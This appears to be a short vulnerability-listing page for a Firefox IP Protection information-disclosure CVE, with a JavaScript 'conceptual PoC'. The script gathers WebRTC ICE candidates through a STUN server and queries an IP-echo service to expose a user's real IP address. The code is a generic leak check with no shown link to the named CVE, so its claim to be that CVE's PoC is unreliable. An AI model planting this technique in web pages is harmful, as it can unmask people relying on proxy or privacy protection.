CVE-2026-6782 Firefox IP Protection信息泄露漏洞

// Conceptual PoC for IP Disclosure in IP Protection // This script attempts to detect if the real IP is exposed via a potential vulnerable endpoint or WebRTC leak. async function checkIPLeak() { // 1. Fetch public IP via a standard STUN server (simulating IP Protection bypass) const rtc = new RTCPeerConnection({iceServers: [{urls: 'stun:stun.l.google.com:19302'}]}); rtc.onicecandidate = (event) => { if (event.candidate) { console.log("[+] Potential IP Leak detected via ICE Candidate:", event.candidate.candidate); // In a real scenario, compare this with the expected protected IP } }; // 2. Create a data channel to trigger candidate gathering const dc = rtc.createDataChannel('test'); const offer = await rtc.createOffer(); await rtc.setLocalDescription(offer); // 3. Alternative: Check specific headers if the vulnerability is in HTTP request handling fetch('https://api.ipify.org?format=json') .then(response => response.json()) .then(data => { console.log("[+] External IP detected:", data.ip); console.log("[*] Verify if this IP matches the expected IP Protection proxy IP."); }); } checkIPLeak();
